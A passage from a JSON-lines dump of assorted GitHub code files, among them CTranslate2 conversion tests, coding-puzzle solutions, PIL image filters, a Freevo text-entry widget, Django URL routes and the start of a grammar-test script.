src_vocab=os.path.join(model_path, \"en.vocab\"),\n tgt_vocab=os.path.join(model_path, \"ar.vocab\"))\n output_dir = str(tmpdir.join(\"ctranslate2_model\"))\n with pytest.raises(ValueError):\n converter.convert(output_dir, ctranslate2.specs.TransformerBase())\n\ndef test_opennmt_tf_shared_embeddings_conversion(tmpdir):\n # Issue https://github.com/OpenNMT/CTranslate2/issues/118\n import tensorflow as tf\n import opennmt\n\n vocab = opennmt.data.Vocab()\n for i in range(10):\n vocab.add(str(i))\n vocab_path = str(tmpdir.join(\"vocab.txt\"))\n vocab.serialize(vocab_path)\n\n num_layers = 3\n num_heads = 4\n model = opennmt.models.Transformer(\n opennmt.inputters.WordEmbedder(32),\n opennmt.inputters.WordEmbedder(32),\n num_layers,\n num_units=32,\n num_heads=num_heads,\n ffn_inner_dim=64,\n share_embeddings=opennmt.models.EmbeddingsSharingLevel.ALL)\n model.initialize({\"source_vocabulary\": vocab_path, \"target_vocabulary\": vocab_path})\n model.create_variables()\n\n checkpoint_prefix = str(tmpdir.join(\"ckpt\"))\n checkpoint = tf.train.Checkpoint(model=model)\n checkpoint.write(checkpoint_prefix)\n\n converter = ctranslate2.converters.OpenNMTTFConverter(\n model_path=checkpoint_prefix, src_vocab=vocab_path, tgt_vocab=vocab_path)\n output_dir = str(tmpdir.join(\"ctranslate2_model\"))\n converter.convert(output_dir, ctranslate2.specs.TransformerSpec(num_layers, num_heads))\n\n # Check that the translation runs.\n translator = ctranslate2.Translator(output_dir)\n translator.translate_batch([[\"1\", \"2\", \"3\"]], max_decoding_length=10)\n\n@pytest.mark.skipif(not _FRAMEWORK_DATA_EXIST, reason=\"Data files are not available\")\ndef test_opennmt_py_model_conversion(tmpdir):\n model_path = os.path.join(\n _TEST_DATA_DIR, \"models\", \"transliteration-aren-all\", \"opennmt_py\", \"aren_7000.pt\")\n converter = ctranslate2.converters.OpenNMTPyConverter(model_path)\n output_dir = str(tmpdir.join(\"ctranslate2_model\"))\n converter.convert(output_dir, ctranslate2.specs.TransformerBase())\n translator = ctranslate2.Translator(output_dir)\n output = translator.translate_batch([[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]])\n assert output[0][0][\"tokens\"] == [\"a\", \"t\", \"z\", \"m\", \"o\", \"n\"]\n\n@pytest.mark.skipif(not _FRAMEWORK_DATA_EXIST, reason=\"Data files are not available\")\ndef test_opennmt_py_relative_transformer(tmpdir):\n model_path = os.path.join(\n _TEST_DATA_DIR, \"models\", \"transliteration-aren-all\",\n \"opennmt_py\", \"aren_relative_6000.pt\")\n converter = ctranslate2.converters.OpenNMTPyConverter(model_path)\n output_dir = str(tmpdir.join(\"ctranslate2_model\"))\n converter.convert(output_dir, ctranslate2.specs.TransformerBaseRelative())\n translator = ctranslate2.Translator(output_dir)\n output = translator.translate_batch([\n [\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"],\n [\"آ\" ,\"ر\" ,\"ث\" ,\"ر\"]])\n assert output[0][0][\"tokens\"] == [\"a\", \"t\", \"z\", \"o\", \"m\", \"o\", \"n\"]\n assert output[1][0][\"tokens\"] == [\"a\", \"r\", \"t\", \"h\", \"e\", \"r\"]\n\ndef test_layer_spec_validate():\n\n class SubSpec(ctranslate2.specs.LayerSpec):\n def __init__(self):\n self.a = np.ones([5], dtype=np.float16)\n\n class Spec(ctranslate2.specs.LayerSpec):\n def __init__(self):\n self.a = np.zeros([5], dtype=np.float32)\n self.b = np.zeros([5], dtype=np.float16)\n self.c = np.zeros([5], dtype=np.int32)\n self.d = OPTIONAL\n self.e = SubSpec()\n self.f = True\n\n spec = Spec()\n spec.validate()\n assert spec.a.dtype == np.float32\n assert spec.b.dtype == np.float32\n assert spec.c.dtype == np.int32\n assert spec.d == OPTIONAL\n assert spec.e.a.dtype == np.float32\n assert spec.f.dtype == np.int8\n\ndef test_layer_spec_optimize():\n\n class SubSpec(ctranslate2.specs.LayerSpec):\n def __init__(self):\n self.a = np.ones([6], dtype=np.float32)\n\n class Spec(ctranslate2.specs.LayerSpec):\n def __init__(self):\n self.a = np.ones([5], dtype=np.float32)\n self.b = np.ones([5], dtype=np.float32)\n self.c = np.zeros([5], dtype=np.int32)\n self.d = np.dtype(\"float32\").type(3.14)\n self.weight = np.ones([5, 4], dtype=np.float32)\n self.sub = SubSpec()\n\n spec = Spec()\n spec.optimize(quantization=\"int16\")\n assert spec.a.dtype == np.float32\n assert spec.b == \"a\"\n assert spec.c.dtype == np.int32\n assert spec.d.dtype == np.float32\n assert spec.weight.dtype == np.int16\n assert spec.weight_scale.dtype == np.float32\n\n spec = Spec()\n spec.optimize(quantization=\"float16\")\n assert spec.a.dtype == np.float16\n assert spec.b == \"a\"\n assert spec.c.dtype == np.int32\n assert spec.d.dtype == np.float32\n assert spec.weight.dtype == np.float16\n assert spec.sub.a.dtype == np.float16\n\ndef test_index_spec():\n spec = ctranslate2.specs.TransformerBase()\n assert isinstance(\n index_spec(spec, \"encoder/layer_5\"),\n transformer_spec.TransformerEncoderLayerSpec)\n assert isinstance(\n index_spec(spec, \"encoder/layer_5/ffn\"),\n transformer_spec.FeedForwardSpec)\n","repo_name":"scotfang/biased_decoding","sub_path":"python/tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":22418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74228504858","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the encryption function below.\ndef encryption(s):\n cols = int(math.ceil(len(s)**0.5))\n x=''\n for i in range(cols):\n x+=''.join([s[x] for x in range(i, len(s), cols)])+\" \"\n return x\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n s = input()\n\n result = encryption(s)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n","repo_name":"dineshkanchi1/Hackerrank","sub_path":"Encryption.py","file_name":"Encryption.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28667323719","text":"# Isomap Embedding\n# [Used for Unsupervised Learning]\n\"\"\"\nIsomap should be used when there is a non-linear mapping between your higher-dimensional data and your lower-dimensional manifold.\n\nAn Awesome Approach to Non-linear Dimensionality Reduction.\n\nThe isomap algorithm uses euclidean metrics to prepare the neighborhood graph.\n\ngeodesic distance is preserved in ISOMAP.\n\"\"\"\n\nisomap = Isomap()\nparams = {'eigen_solver': 'auto', 'max_iter': None, 'metric': 'minkowski', 'metric_params': None, 'n_components': 2, \n 'n_jobs': -1, 'n_neighbors': 5, 'neighbors_algorithm': 'auto', 'p': 2, 'path_method': 'auto', 'tol': 0}\nisomap.set_params(**params)\n\nX_train = isomap.fit_transform(X_train)\nX_test = isomap.fit_transform(X_test)","repo_name":"kuntal-temp/all_in_one","sub_path":"Learn_ML/107_Dimensionality_Reduction/7-IsomapEmbedding.py","file_name":"7-IsomapEmbedding.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19562652876","text":"import matplotlib.pyplot as plt\n\ndata = open('res.csv', 'r')\ndata = data.readlines()\nprev = 0\nx = []\ny = []\nfor i in data:\n if i[:3] != prev:\n y.append([])\n x.append([])\n a = i.split(';')\n y[-1].append(float(a[-1]))\n x[-1].append(float(a[-2]))\n prev = i[:3]\nfor i in range(25):\n for j in range(4):\n plt.plot(x[j + i], y[j + i])\n plt.savefig(f'{i + 1}.png')\n plt.close()\n","repo_name":"Urmipie/BusinessHACK.21","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2504808740","text":"class Solution:\n def findLucky(self, arr: List[int]) -> int:\n answer = -1\n numbers = collections.Counter()\n\n for i in range(len(arr)):\n numbers[arr[i]] += 1\n \n for i in range(len(arr)):\n if arr[i] == numbers[arr[i]]:\n answer = max(answer,arr[i])\n return answer","repo_name":"Vrushali-1/Leetcode-Problems","sub_path":"1510-find-lucky-integer-in-an-array/1510-find-lucky-integer-in-an-array.py","file_name":"1510-find-lucky-integer-in-an-array.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40679935594","text":"from PIL import Image\r\n\r\n\r\n\r\ndef pixel_value(k):\r\n if(k<0):\r\n return 0\r\n elif(k>255):\r\n return 255\r\n else:\r\n return k\r\n\r\ndef grayscale(im_data):\r\n im2=Image.new('RGB',(im_data[\"width\"],im_data[\"height\"])) #create a new image based on the input\r\n\r\n for x in range(im_data[\"width\"]):\r\n for y in range(im_data[\"height\"]):#loop on all pixels\r\n pix=im_data[\"img\"].getpixel((x,y))#get RGB values of the input\r\n g=(pix[0]+pix[1]+pix[2])//3 #average the values\r\n im2.putpixel((x,y),(g,g,g))#put in on the second image\r\n\r\n im2.show()\r\n\r\n\r\ndef negative(im_data):\r\n im2=Image.new('RGB',(im_data[\"width\"],im_data[\"height\"]))\r\n\r\n for y in range(0,im_data[\"height\"]):\r\n for x in range(0,im_data[\"width\"]):\r\n pix1=im_data[\"img\"].getpixel((x,y))\r\n r=255-pix1[0]#invert the RGB values\r\n v=255-pix1[1]\r\n b=255-pix1[2]\r\n im2.putpixel((x,y),(r,v,b))\r\n\r\n im2.show()\r\n\r\ndef rgb_mask(im_data):\r\n im2=Image.new('RGBA',(im_data[\"width\"],im_data[\"height\"]))\r\n r=int(input(\"Type the red value :\"))\r\n v=int(input(\"Type the green value :\"))\r\n b=int(input(\"Type the blue value :\"))\r\n a=int(input(\"Type the transparency value :\"))\r\n for y in range(0,im_data[\"height\"]):\r\n for x in range(0,im_data[\"width\"]):\r\n im2.putpixel((x,y),(r,v,b,a))\r\n\r\n im2.save(\"mask.png\")\r\n layer=Image.open('mask.png')\r\n im_data[\"img\"].paste(layer,(0,0),mask=layer)\r\n\r\n im_data[\"img\"].show()\r\n\r\ndef sepia(im_data):\r\n\r\n for x in range(im_data[\"width\"]):\r\n for y in range(im_data[\"height\"]):\r\n pix=im_data[\"img\"].getpixel((x,y))\r\n r=int(pix[0]*0.393+pix[1]*0.769+pix[2]*0.189)#change RGB values based on each one\r\n v=int(pix[0]*0.349+pix[1]*0.686+pix[2]*0.168)\r\n b=int(pix[0]*0.272+pix[1]*0.534+pix[2]*0.131)\r\n\r\n if r>255:#lower the value to 255 if higher\r\n r=255\r\n if v>255:\r\n v=255\r\n if b>255:\r\n b=255\r\n\r\n im_data[\"img\"].putpixel((x,y),(r,v,b))\r\n\r\n im_data[\"img\"].show()\r\n\r\n\r\ndef low_bright(im_data):\r\n\r\n for x in range (im_data[\"width\"]):\r\n for y in range(im_data[\"height\"]):\r\n pix=im_data[\"img\"].getpixel((x,y))\r\n pix=list(pix)#convert the tuple into a list\r\n\r\n for k in range(0,3):\r\n\r\n if pix[k]-50>0: #lower each RGB value\r\n pix[k]=pix[k]-50\r\n\r\n else:\r\n pix[k]=0\r\n\r\n im_data[\"img\"].putpixel((x,y),(pix[0],pix[1],pix[2])) #replace the values\r\n\r\n im_data[\"img\"].show()\r\n\r\ndef up_bright(im_data):\r\n\r\n for x in range(im_data[\"width\"]):\r\n for y in range(im_data[\"height\"]):\r\n pix=im_data[\"img\"].getpixel((x,y))\r\n pix=list(pix)\r\n\r\n for k in range(0,3):\r\n\r\n if pix[k]+50<255: #increase each RGB value\r\n pix[k]=pix[k]+50\r\n\r\n else:\r\n pix[k]=255\r\n\r\n im_data[\"img\"].putpixel((x,y),(pix[0],pix[1],pix[2]))\r\n\r\n im_data[\"img\"].show()\r\n\r\ndef blur(im_data):\r\n imflou=Image.new(\"RGB\",(im_data[\"width\"],im_data[\"height\"]))\r\n rouge=int(0)\r\n vert=int(0)\r\n bleu=int(0)\r\n\r\n for x in range(0,im_data[\"width\"]-1,1):\r\n for y in range(0,im_data[\"height\"]-1,1):\r\n\r\n if x-2>=0 and y-2>=0 and x+2<=im_data[\"width\"] and y+2<=im_data[\"height\"]:\r\n\r\n for x2 in range(x-2,x+2): #get RGB values of the pixel + each neighbor pixel\r\n for y2 in range(y-2,y+2):\r\n pix=im_data[\"img\"].getpixel((x2,y2))\r\n rouge=rouge+pix[0]\r\n vert=vert+pix[1]\r\n bleu=bleu+pix[2]\r\n\r\n rouge=rouge//25 #average the values\r\n vert=vert//25\r\n bleu=bleu//25\r\n imflou.putpixel((x,y),(rouge,vert,bleu))\r\n rouge=0\r\n vert=0\r\n bleu=0\r\n\r\n else:\r\n pix=im_data[\"img\"].getpixel((x,y))\r\n imflou.putpixel((x,y),(pix[0],pix[1],pix[2]))\r\n\r\n imflou.show()\r\n\r\ndef emboss(im_data):\r\n im3=Image.new(\"RGBA\",(im_data[\"width\"],im_data[\"height\"]))\r\n\r\n for y in range(1,im_data[\"height\"]-1):#apply a convolution matrix filter\r\n for x in range(1,im_data[\"width\"]-1):\r\n pix0=im_data[\"img\"].getpixel((x,y))\r\n pix1=im_data[\"img\"].getpixel((x-1,y-1))\r\n pix2=im_data[\"img\"].getpixel((x,y-1))\r\n pix3=im_data[\"img\"].getpixel((x+1,y-1))\r\n pix4=im_data[\"img\"].getpixel((x-1,y))\r\n pix5=im_data[\"img\"].getpixel((x+1,y))\r\n pix6=im_data[\"img\"].getpixel((x-1,y+1))\r\n pix7=im_data[\"img\"].getpixel((x,y+1))\r\n pix8=im_data[\"img\"].getpixel((x+1,y+1))\r\n r=(-2*pix1[0] - pix2[0] - pix4[0] + pix0[0] + pix6[0] + pix7[0] + 2*pix8[0])\r\n r=pixel_value(r)\r\n v=(-2*pix1[1] - pix2[1] - pix4[1] + pix0[1] + pix6[1] + pix7[1] + 2*pix8[1])\r\n v=pixel_value(v)\r\n b=(-2*pix1[2] - pix2[2] - pix4[2] + pix0[2] + pix6[2] + pix7[2] + 2*pix8[2])\r\n b=pixel_value(b)\r\n im3.putpixel((x,y),(r,v,b,pix0[3]))\r\n print((r,v,b,pix0[3]))\r\n\r\n\r\n im3.save(\"output.png\")\r\n\r\n#######\r\n#1#2#3#\r\n#4#0#5#\r\n#6#7#8#\r\n#######\r\n","repo_name":"qaoru/py_filters","sub_path":"filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":5466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14172713261","text":"import time\r\n\r\ndef SOE(n):\r\n\tprimeList = [2]\r\n\tnumList = list(range(0, n+1))\r\n\r\n\tfor i in range(3, n+1, 2):\r\n\t\tif numList[i] != 0:\r\n\t\t\tprimeList.append(i)\r\n\r\n\t\t\tfor t in range(3, int(n/i)+1, 2):\r\n\t\t\t\tnumList[i*t] = 0\r\n\r\n\treturn primeList\r\n\r\n#Just enough to find all the primes.\r\n#Started with 1000000 and reduced from there\r\nprimes = SOE(750000)\r\n\r\ni = 8\r\ncount = 0\r\nprimeSum = 0\r\n\r\nwhile(count < 11):\r\n\tfound = True\r\n\r\n\tstrPrime = str(primes[i])\r\n\tprimeLen = len(strPrime)-1\r\n\tfor n in range(primeLen):\r\n\t\tif int(strPrime[:n+1]) not in primes:\r\n\t\t\tfound = False\r\n\t\t\tbreak\r\n\r\n\tif found:\r\n\t\tfor n in range(primeLen):\r\n\t\t\tif int(strPrime[-n-1:]) not in primes:\r\n\t\t\t\tfound = False\r\n\t\t\t\tbreak\r\n\r\n\t\tif found:\r\n\t\t\tcount += 1\r\n\t\t\tprimeSum += primes[i]\r\n\t\t\tprint(primes[i])\r\n\r\n\ti += 1\r\n\r\n\r\nprint(\"Prime sum:\" + str(primeSum))","repo_name":"Foxnaught/ProjectEulerSolutions","sub_path":"37truncatable/trunc.py","file_name":"trunc.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23027340528","text":"# 6.7\nprint(\"____________________________# 6.7____________________________\")\nhumans1 = {'first_name': 'viktor',\n 'last_name': 'lyutikov',\n 'age': '24',\n 'city': 'podolck'}\n\nhumans2 = {'first_name': 'diman',\n 'last_name': 'lebedev',\n 'age': '27',\n 'city': 'moscow'}\n\nhumans3 = {'first_name': 'egor',\n 'last_name': 'shehterman',\n 'age': 'many',\n 'city': 'rostov'}\n\npeoples = [humans1, humans2, humans3]\n\nfor people in peoples:\n print(\"\\n\")\n for key, vailue in people.items():\n print(f\" {key.title()} : {vailue.title()}\")\n\n# 6.10\nprint(\"____________________________# 6.10____________________________\")\noll_favjrite_ints = {\n 'Viktor': ['13', '0', '5', '7'],\n 'Diman': ['1992'],\n 'sergo': ['0'],\n 'Niki': ['18'],\n 'margelov': ['0']\n}\ncount = 1\n\nfor name, values in oll_favjrite_ints.items():\n if len(values) > count:\n print(f\"\\n{name.title()}'s favorite int are:\")\n for value in values:\n print(f\"\\t{value}\")\n else:\n for value in values:\n print(f\"{name.title()} s favorite int is \\n {value}\")\n\n# добавил в список\noll_favjrite_ints['Viktor'].append('555')\nprint(oll_favjrite_ints['Viktor'])\n\n# 6.8\nprint(\"____________________________# 6.8____________________________\")\nlaima = {'viv': 'dog',\n 'name_owner': 'viktor'\n }\nkesha = {'viv': 'bert',\n 'name_owner': 'niki'\n }\npets = [laima, kesha]\n\nfor pet in pets:\n for vivs, name_owners in pet.items():\n print(vivs, name_owners)\n\n# 6.9\nprint(\"____________________________# 6.9____________________________\")\n\n\n# none","repo_name":"Lyutik13/Erik_Metiz_notes","sub_path":"Erik_Metiz/praktik/6praktik2.py","file_name":"6praktik2.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"33532059600","text":"import time\n\nfrom event import *\nfrom skin.models import Button, ButtonGroup, TextEntry\n\nimport skin\nskin_object = skin.get_singleton()\n\nif skin_object:\n skin_object.register('textentry', ('screen', 'title','textentry', 'buttongroup', 'plugin'))\n\nkey_press_timeout = 0.75\n\nnumber_chars = (\" 0\",\n \".,-1\",\n \"ABC2\",\n \"DEF3\",\n \"GHI4\",\n \"JKL5\",\n \"MNO6\",\n \"PQRS7\",\n \"TUV8\",\n \"WXYZ9\")\n\n\n\nclass TextEntryScreen:\n def __init__(self, action, title, text='', alpha=True, numeric=True, symbol=True):\n \"\"\"\n Used to display and control the\n\n @param actions: Tuple containing a name and an action function that will be called\n with the menu widget and the contents of the text entry field when\n selected.\n @param title: The title to display at the top of the screen.\n @param text: Initial text for the text entry field.\n @param alpha: Whether to display the alphabet character board\n @param numeric: Whether to display the number character board.\n @param symbol: Whether to display the symbol character board.\n \"\"\"\n self.title = title\n self.text_entry = TextEntry(text)\n\n # Create common buttons\n self.action_button = Button(action[0], self.activate_action, action[1])\n self.left_button = Button(_('Left'), self.move_caret, 'left')\n self.right_button = Button(_('Right'), self.move_caret, 'right')\n self.delete_button = Button(_('Delete'), self.delete_char, None)\n\n # Make sure at least one character board is enabled.\n if not (alpha or numeric or symbol):\n # raise RuntimeError, 'At least one character board should be enabled!'\n\n return\n\n # Work out whether we need a column to select different character boards.\n if (alpha and not numeric and not symbol) or \\\n (not alpha and numeric and not symbol) or \\\n (not alpha and not numeric and symbol):\n columns = 6\n else:\n columns = 7\n\n #\n # Create button groups for alphabet/numbers/symbols\n #\n if alpha:\n self.alphabet_button_group = ButtonGroup(6, columns)\n keys = _('ABCDEFGHIJKLMNOPQRSTUVWXYZ ')\n self.__init_keyboard_buttons(keys, self.alphabet_button_group)\n self.lower_alphabet_button_group = ButtonGroup(6, columns)\n keys = _('abcdefghijklmnopqrstuvwxyz ')\n self.__init_keyboard_buttons(keys, self.lower_alphabet_button_group)\n\n if numeric:\n self.numbers_button_group = ButtonGroup(6, columns)\n keys = _('1234567890')\n self.__init_keyboard_buttons(keys, self.numbers_button_group)\n\n if symbol:\n self.symbols_button_group = ButtonGroup(6, columns)\n keys = _('!\"#$%^&*();:\\'@~?,.<>-=+\\[]{}')\n self.__init_keyboard_buttons(keys, self.symbols_button_group)\n\n # If more than 1 character board is selected add the buttons to switch\n # between them.\n if (alpha and numeric) or (alpha and symbol) or (numeric and symbol):\n if alpha:\n lowercase_button = Button(_('abc'), self.change_button_group,\n self.lower_alphabet_button_group)\n self.alphabet_button_group.set_button(1, 5, lowercase_button)\n\n characters_button = Button(_('ABC'), self.change_button_group,\n self.alphabet_button_group)\n \n self.lower_alphabet_button_group.set_button(0, 5, characters_button)\n if numeric:\n self.numbers_button_group.set_button(0, 5, characters_button)\n self.numbers_button_group.set_button(1, 5, lowercase_button)\n\n if symbol:\n self.symbols_button_group.set_button(0, 5, characters_button)\n self.symbols_button_group.set_button(1, 5, lowercase_button)\n\n if numeric:\n numbers_button = Button(_('123'), self.change_button_group,\n self.numbers_button_group)\n if alpha:\n self.alphabet_button_group.set_button(2, 5, numbers_button)\n self.lower_alphabet_button_group.set_button(2, 5, numbers_button)\n\n if symbol:\n self.symbols_button_group.set_button(2, 5, numbers_button)\n\n if symbol:\n symbols_button = Button(_('Symbls'), self.change_button_group,\n self.symbols_button_group)\n if alpha:\n self.alphabet_button_group.set_button(3, 5, symbols_button)\n self.lower_alphabet_button_group.set_button(3, 5, symbols_button)\n \n if numeric:\n self.numbers_button_group.set_button(3, 5, symbols_button)\n\n if alpha:\n self.button_group = self.alphabet_button_group\n elif numeric:\n self.button_group = self.numbers_button_group\n elif symbol:\n self.button_group = self.symbols_button_group\n\n self.last_key = None\n self.last_key_press = 0\n\n def show(self, menuw):\n \"\"\"\n Display the Text Entry Screen.\n This places the screen on the top of the menu stack.\n \"\"\"\n self.menuw = menuw\n self.transition = skin.TRANSITION_IN\n menuw.pushmenu(self)\n self.transition = False\n\n\n def refresh(self):\n \"\"\"\n Redraw the screen.\n \"\"\"\n if self.menuw.children:\n return\n skin_object.draw('textentry', self, transition=self.transition)\n\n\n def eventhandler(self, event, menuw=None):\n \"\"\"\n Event handler to handle button navigation and selection.\n \"\"\"\n event_consumed = False\n redraw = False\n\n if event is MENU_SELECT:\n self.button_group.selected_button.select()\n event_consumed = True\n self.last_key = None\n\n elif event in (MENU_LEFT, MENU_RIGHT, MENU_DOWN, MENU_UP):\n if event is MENU_LEFT:\n redraw = self.button_group.move_left()\n elif event is MENU_RIGHT:\n redraw = self.button_group.move_right()\n elif event is MENU_DOWN:\n redraw = self.button_group.move_down()\n elif event is MENU_UP:\n redraw = self.button_group.move_up()\n event_consumed = True\n self.last_key = None\n\n elif event == BUTTON:\n if event.arg == '*':\n self.modify_char()\n self.last_key = None\n self.last_key_press = time.time()\n event_consumed = True\n else:\n n = -1\n try:\n n = int(event.arg)\n except:\n pass\n if n >=0 and n <= 9:\n now = time.time()\n \n if self.last_key == event.arg and \\\n (now - self.last_key_press) < key_press_timeout:\n self.modify_char()\n else:\n new_ch = number_chars[n][0]\n # New key press\n if self.button_group == self.lower_alphabet_button_group:\n new_ch = new_ch.lower()\n self.set_selected_button(new_ch)\n self.insert_char(new_ch)\n\n self.last_key = event.arg\n self.last_key_press = now\n event_consumed = True\n\n if redraw:\n self.refresh()\n\n return event_consumed\n\n\n def insert_char(self, arg):\n \"\"\"\n Button action to insert a character.\n \"\"\"\n self.text_entry.insert_char_at_caret(arg)\n self.refresh()\n\n\n def modify_char(self):\n \"\"\"\n Modify the current character to be the next character in the number_char\n entry string for the last key pressed.\n \"\"\"\n ch = self.text_entry.get_char_at_caret()\n new_ch = None\n for number_group in number_chars:\n i = number_group.find(ch)\n if i != -1:\n i += 1\n if i >= len(number_group):\n i = 0\n new_ch = number_group[i]\n break\n\n if new_ch is not None:\n if self.button_group == self.lower_alphabet_button_group:\n new_ch = new_ch.lower()\n self.set_selected_button(new_ch)\n self.text_entry.replace_char_at_caret(new_ch)\n self.refresh()\n \n\n def move_caret(self, arg):\n \"\"\"\n Button action to move the caret.\n \"\"\"\n if arg == 'left':\n self.text_entry.caret_left()\n elif arg == 'right':\n self.text_entry.caret_right()\n self.refresh()\n\n\n def delete_char(self, arg):\n \"\"\"\n Button action to delete a character.\n \"\"\"\n self.text_entry.delete_char_at_caret()\n self.refresh()\n\n\n def change_button_group(self, arg):\n \"\"\"\n Button action to switch to a different button group.\n \"\"\"\n self.button_group = arg\n self.button_group.set_selected(self.button_group.buttons[0][0])\n self.refresh()\n\n\n def activate_action(self, arg):\n \"\"\"\n Button action to call the user supplied handler.\n \"\"\"\n arg(self.menuw, self.text_entry.text)\n\n\n def __init_keyboard_buttons(self, keys, button_group):\n \"\"\"\n Initialise a button group by spliting the keys argument into\n characters and add each to the button group as a button.\n \"\"\"\n r = 0\n c = 0\n for key in keys:\n if key == ' ':\n text = _('Space')\n else:\n text = key\n button_group.set_button(r, c, Button(text, self.insert_char, key))\n c += 1\n if c == 5:\n r += 1\n c = 0\n # Add common buttons to the group\n column = button_group.columns - 1\n button_group.set_button(0, column, self.action_button)\n button_group.set_button(1, column, self.left_button)\n button_group.set_button(2, column, self.right_button)\n button_group.set_button(3, column, self.delete_button)\n\n\n def getattr(self, attr):\n \"\"\"\n Used by the skin to retrieve named details about this object.\n \"\"\"\n return getattr(self, attr, u'')\n\n\n def set_selected_button(self, char):\n \"\"\"\n Set the selected button based on the specified character.\n \"\"\"\n for row in self.button_group.buttons:\n for btn in row:\n\n if btn and btn.text == char:\n self.button_group.set_selected(btn)\n break\n\n","repo_name":"freevo/freevo1","sub_path":"src/skin/widgets/textentry_screen.py","file_name":"textentry_screen.py","file_ext":"py","file_size_in_byte":11251,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"69"} +{"seq_id":"11480590919","text":"from django.contrib import admin\nfrom django.urls import path\nfrom . import views as views\n\nurlpatterns = [\n \n path('addFood/',views.addFood,name='addFood'),\n path('addCat/',views.addCat,name='addCat'),\n path('addIngredient/',views.addIngredient,name='addIngredient'),\n path('updateFood/<str:pk>',views.updateFood,name='updateFood'),\n path('updateIngredient/<str:pk>',views.updateIngredient,name='updateIngredient'),\n path('deleteFood/<str:pk>',views.deleteFood,name='deleteFood'),\n path('getCats/',views.getCats,name='getCats'),\n path('getIngredients/',views.getIngredients,name='getIngredients'),\n path('updateCat/<str:pk>',views.updateCat,name='updateCat'),\n path('getCatById/<str:pk>',views.getCatById, name='getCatById'),\n path('',views.getFoods, name='getFoods'),\n path('<str:pk>/',views.getFoodById, name='getFoodById'),\n path('deleteCat/<str:pk>',views.deleteCat,name='deleteCat'),\n \n path('getIngredientById/<str:pk>',views.getIngredientById, name='getIngredientById'),\n \n \n path('deleteIngredient/<str:pk>',views.deleteIngredient,name='deleteIngredient'),\n]","repo_name":"ayda76/Django-projects","sub_path":"onlineresturant/foods/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3535463406","text":"N, M = map(int, input().split())\ngraph = [list(map(int, input().split())) for _ in range(N)]\nvisited = [[0]*M for _ in range(N)]\n\ndr = [-1, 1, 0, 0]\ndc = [0, 0, -1, 1]\n\n#그림의 넓이를 담는 변수. 그림이 존재하는 영역에서만 카운트할 것이기 때문에 기본 값을 1로둔다\ncnt = 1\npicture = []\n\ndef dfs(r, c):\n global cnt\n stack = [(r, c)]\n\n if 0<=r<N and 0<=c<M and graph[r][c] == 1:\n graph[r][c] = 0\n while stack:\n r, c = stack.pop()\n\n for i in range(4):\n rr, cc = r+dr[i], c+dc[i]\n\n if 0<=rr<N and 0<=cc<M and graph[rr][cc] == 1 and not visited[r][c]:\n cnt += 1\n stack.append((rr, cc))\n graph[rr][cc] = 0\n \n #넓이를 다 카운트 했다면 리스트에 넣어주고 변수 초기화\n picture.append(cnt)\n cnt = 1\n\nfor i in range(N):\n for j in range(M):\n dfs(i, j)\n\n#그림이 하나도 없는 경우\nmax_picture = max(picture) if len(picture) > 0 else 0\n\nprint(len(picture))\nprint(max_picture)","repo_name":"Ryu4949/PS","sub_path":"boj/06_dfs_bfs/1926/sol 1.py","file_name":"sol 1.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"12222334206","text":" #####################################\n #@$%& 2022 &%$@#\n #! FLP - Projekt BKG-2-CNF !#\n #! Michal Glos !#\n #! xglosm01 !#\n #! __ !#\n #! <(o )___ !#\n #! ( ._> / !#\n #! `---' !#\n #@$%& &%$@#\n #####################################\n\n# This file provides:\n# Test for functional project FLP 2022\n# This code is not exactly respecting \"best practices\", instead is focused more on functionallity, I'm sorry\nimport os\nimport sys\n\n# Absolute path of this file, test could be called from wherever\nROOT_DIR = \"/\".join(os.path.abspath(__file__).split(\"/\")[:-2])\n\n# Number of tests, if you wish to make some tests yourself, stick with naming convention and increment this counter by the number of new tests\nTESTS = 10\n\nclass Grammar:\n '''\n Just a little class to hold grammars and provide a method for it's parsing from input\n and a handy tool for comparing them, ignoring the order of rules, nonterminals and terminals\n and subtracting them to get the difference between 2 grammars for better debugging of flp21-fun program\n '''\n def __init__(self, init_input):\n '''Init grammar object, if not enough lines loaded, assume the conversion failed'''\n lines = len(init_input)\n if lines < 4:\n self.failed = True\n else:\n self.failed = False\n # Set properties if present\n self.nonterminals = sorted(list(set(init_input[0].strip().split(',')) if lines > 0 else []))\n self.terminals = sorted(list(set(init_input[1].strip().split(',')) if lines > 1 else []))\n self.starting_symbol = init_input[2].strip() if lines > 2 else \"\"\n # Filter out empty lines just in case there is an empty line at the end of output or something ...\n self.rules = sorted(list(set([line.strip() for line in 